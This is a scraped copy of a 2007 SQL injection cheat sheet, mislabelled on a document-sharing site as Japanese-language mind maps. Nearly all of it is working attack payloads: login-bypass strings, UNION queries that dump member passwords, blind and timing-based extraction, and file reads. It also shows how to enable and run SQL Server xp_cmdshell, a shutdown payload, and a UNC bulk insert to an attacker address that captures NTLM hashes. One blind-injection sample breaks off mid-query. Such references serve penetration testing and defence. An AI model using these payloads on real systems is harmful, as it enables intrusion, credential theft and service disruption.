SQL Injection Cheat Sheet, Schemes and Mind Maps of Japanese Language

Download SQL Injection Cheat Sheet and more Schemes and Mind Maps Japanese Language in PDF only on Docsity! SQL Injection Cheat Sheet SQL Injection Cheat Sheet, Document Version 1.4 About SQL Injection Cheat Sheet Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL. Most of samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and unexpected, strange SQL sentences. Samples are provided to allow reader to get basic idea of a potential attack and almost every section includes a brief information about itself. M : MySQL S : SQL Server P : PostgreSQL O : Oracle + : Possibly all other databases Examples; • (MS) means : MySQL and SQL Server etc. • (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server Table Of Contents 1. About SQL Injection Cheat Sheet 2. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks 1. Line Comments SQL Injection Attack Samples 2. Inline Comments Classical Inline Comment SQL Injection Attack Samples MySQL Version Detection Sample Attacks 3. Stacking Queries Language / Database Stacked Query Support Table About MySQL and PHP Stacked SQL Injection Attack Samples 4. If Statements MySQL If Statement SQL Server If Statement If Statement SQL Injection Attack Samples 5. Using Integers 6. String Operations String Concatenation 7. Strings without Quotes Hex based SQL Injection Samples 8. String Modification & Related 9. Union Injections UNION – Fixing Language Issues 10. Bypassing Login Screens 11. Enabling xp_cmdshell in SQL Server 2005 12. Other parts are not so well formatted but check out by yourself, drafts, notes and stuff, scroll down and see. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks Ending / Commenting Out / Line Comments Line Comments Comments out rest of the query. Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax. • -- (SM) DROP sampletable;-- • # (M) DROP sampletable;# Line Comments Sample SQL Injection Attacks • Username: admin'-- • SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' This is going to log you as admin user, because rest of the SQL query will be ignored. Inline Comments Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions. • /*Comment Here*/ (SM) • DROP/*comment*/sampletable • DR/**/OP/*bypass blacklisting*/sampletable • SELECT/*avoid-spaces*/password/**/FROM/**/Members • /*! MYSQL Special SQL */ (M) This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version. • + (S) SELECT login + '-' + password FROM members • || (*MO) SELECT login || '-' || password FROM members *About MySQL "||"; If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. Better way to do it is using CONCAT() function in MySQL. • CONCAT(str1, str2, str3, ...) (M) Concatenate supplied strings. SELECT CONCAT(login, password) FROM members Strings without Quotes These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes. • 0x457578 (M) - Hex Representation of string SELECT 0x457578 This will be selected as string in MySQL. In MySQL easy way to generate hex representations of strings use this; SELECT CONCAT('0x',HEX('c:\\boot.ini')) • Using CONCAT() in MySQL SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M) This will return ‘KLM’. • SELECT CHAR(75)+CHAR(76)+CHAR(77) (S) This will return ‘KLM’. Hex based SQL Injection Samples • SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M) This will show the content of c:\boot.ini String Modification & Related • ASCII() (SMP) Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections. SELECT ASCII('a') • CHAR() (SM) Convert an integer of ASCII. SELECT CHAR(64) Union Injections With union you do SQL queries cross-table. Basically you can poison query to return records from another table. SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members This will combine results from both news table and members table and return all of them. Another Example : ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1-- UNION – Fixing Language Issues While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it. • SQL Server (S) Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation. SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members • MySQL (M) Hex() for every possible issue Bypassing Login Screens (SMO+) SQL Injection 101, Login tricks • admin' -- • admin' # • admin'/* • ' or 1=1-- • ' or 1=1# • ' or 1=1/* • ') or '1'='1-- • ') or ('1'='1-- • .... • Login as different user (SM*) ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1-- *Old versions of MySQL doesn't support union queries Bypassing second MD5 hash check login screens If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database. Bypassing MD5 Hash Check Example (MSP) Username : admin Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234) Error Based - Find Columns Names Finding Column Names with HAVING BY - Error Based (S) In the same order, • ' HAVING 1=1 -- • ' GROUP BY table.columnfromerror1 HAVING 1=1 -- • ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 - - • ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on • If you are not getting any more error then it's done. Finding how many columns in SELECT query by ORDER BY (MSO+) Finding column number by ORDER BY can speed up the UNION SQL Injection process. • ORDER BY 1-- • ORDER BY 2-- • ORDER BY N-- so on • Keep going until get an error. Error means you found the number of selected columns. Data types, UNION, etc. Hints, • Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct. • To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time. • Linked Servers master..sysservers • Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm ) SQL Server 2000: masters..sysxlogins SQL Server 2005 : sys.sql_logins More Stored Procedures for SQL Server (S) 1. Cmd Execute (xp_cmdshell) exec master..xp_cmdshell 'dir' 2. Registry Stuff (xp_regread) 1. xp_regaddmultistring 2. xp_regdeletekey 3. xp_regdeletevalue 4. xp_regenumkeys 5. xp_regenumvalues 6. xp_regread 7. xp_regremovemultistring 8. xp_regwrite exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares' exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommuniti es' 3. Managing Services (xp_servicecontrol) 4. Medias (xp_availablemedia) 5. ODBC Resources (xp_enumdsn) 6. Login mode (xp_loginconfig) 7. Creating Cab Files (xp_makecab) 8. Domain Enumeration (xp_ntsec_enumdomains) 9. Process Killing (need PID) (xp_terminate_process) 10. Add new procedure (virtually you can execute whatever you want) sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’ exec xp_webserver 11. Write text file to a UNC or an internal path (sp_makewebtask) MSSQL Bulk Notes SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/ DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0 HOST_NAME() IS_MEMBER (Transact-SQL) IS_SRVROLEMEMBER (Transact-SQL) OPENDATASOURCE (Transact-SQL) INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG" OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en- us/library/ms190312.aspx You can not use sub selects in SQL Server Insert queries. SQL Injection in LIMIT (M) or ORDER (MSO) SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ; If injection is in second limit you can comment it out or use in your union injection Shutdown SQL Server (S) When you really pissed off, ';shutdown -- Enabling xp_cmdshell in SQL Server 2005 By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these. EXEC sp_configure 'show advanced options',1 RECONFIGURE EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE Finding Database Structure in SQL Server (S) Getting User defined Tables SELECT name FROM sysobjects WHERE xtype = 'U' Getting Column Names SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames') Moving records (S) • Modify WHERE and use NOT IN or NOT EXIST, ... WHERE users NOT IN ('First User', 'Second User') SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one • Using Dirty Tricks SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21 Fast way to extract data from Error Based SQL Injections in SQL Server (S) ';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;-- Detailed Article : Fast way to extract data from Error Based SQL Injections Blind SQL Injections About Blind SQL Injections In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections. Normal Blind, You can not see a response in the page but you can still determine result of a query from response or HTTP status code Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common though. In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE. Real and a bit Complex Blind SQL Injection Attack Sample This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm. TRUE and FALSE flags mark queries returned true or false. TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE Clear SQL Injection Tests These tests are simply good for blind sql injection and silent attacks. 1. product.asp?id=4 (SMO) a. product.asp?id=5-1 b. product.asp?id=4 OR 1=1 2. product.asp?name=Book a. product.asp?name=Bo’%2b’ok b. product.asp?name=Bo’ || ’ok (OM) c. product.asp?name=Book’ OR ‘x’=’x Some Extra MySQL Notes • Sub Queries are working only MySQL 4.1+ • Users o SELECT User,Password FROM mysql.user; • SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’; • SELECT ... INTO DUMPFILE o Write query into a new file (can not modify existing files) • UDF Function o create function LockWorkStation returns integer soname 'user32'; o select LockWorkStation(); o create function ExitProcess returns integer soname 'kernel32'; o select exitprocess(); • SELECT USER(); • SELECT password,USER() FROM mysql.user; • First byte of admin hash o SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1; • Read File o query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 • MySQL Load Data inifile o By default it’s not avaliable ! create table foo( line blob ); load data infile 'c:/boot.ini' into table foo; select * from foo; • More Timing in MySQL • select benchmark( 500000, sha1( 'test' ) ); • query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1 • select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' ); Enumeration data, Guessed Brute Force o select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' ); Potentially Useful MySQL Functions • MD5() MD5 Hashing • SHA1() SHA1 Hashing • PASSWORD() • ENCODE() • COMPRESS() Compress data, can be great in large binary reading in Blind SQL Injections. • ROW_COUNT() • SCHEMA() • VERSION() Same as @@version Second Order SQL Injections Basically you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem. Name : ' + (SELECT TOP 1 password FROM users ) + ' Email : xx@xx.com If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc. Forcing SQL Server to get NTLM Hashes This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel. Bulk insert from a UNC Share (S) bulk insert foo from '\\YOURIPADDRESS\C$\x.txt' Check out Bulk Insert Reference to understand how can you use bulk insert. References Since these notes collected from several different sources within several years and personal experiences, may I missed some references. If you believe I missed yours or someone else then drop me an email (ferruh-at-mavituna.com), I'll update it as soon as possible. • Lots of Stuff o Advanced SQL Injection In SQL Applications, Chris Anley o More Advanced SQL Injection In SQL Applications, Chris Anley o Blindfolded SQL Injection, Ofer Maor – Amichai Shulman o Hackproofing MySQL, Chris Anley o Database Hacker's Handbook, David Litchfield, Chris Anley, John Heasman, Bill Grindlay o Upstairs Team! • MSSQL Related o MSSQL Operators - http://msdn2.microsoft.com/en- us/library/aa276846(SQL.80).aspx o Transact-SQL Reference - http://msdn2.microsoft.com/en- us/library/aa299742(SQL.80).aspx o String Functions (Transact-SQL) - http://msdn2.microsoft.com/en- us/library/ms181984.aspx o List of MSSQL Server Collation Names - http://msdn2.microsoft.com/en-us/library/ms180175.aspx o MSSQL Server 2005 Login Information and some other functions : Sumit Siddharth • MySQL Related o Comments : http://dev.mysql.com/doc/ o Control Flows - http://dev.mysql.com/doc/refman/5.0/en/control-flow- functions.html o MySQL Gotchas - http://sql-info.de/mysql/gotchas.htm o New SQL Injection Concept, Tonu Samuel ChangeLog • 15/03/2007 - Public Release v1.0 • 16/03/2007 - v1.1 o Links added for some paper and book references o Collation sample added o Some typos fixed o Styles and Formatting improved o New MySQL version and comment samples o PostgreSQL Added to Ascii and legends, pg_sleep() added blind section o Blind SQL Injection section and improvements, new samples o Reference paper added for MySQL comments • 21/03/2007 - v1.2 o BENCHMARK() sample changed to avoid people DoS their MySQL Servers o More Formatting and Typo o Descriptions for some MySQL Function • 30/03/2007 v1.3 o Niko pointed out PotsgreSQL and PHP supports stacked queries o Bypassing second MD5 check login screens description and attack added o Mark came with extracting NTLM session idea, added o Detailed Blind SQL Exploitation added • 13/04/2007 v1.4 - Release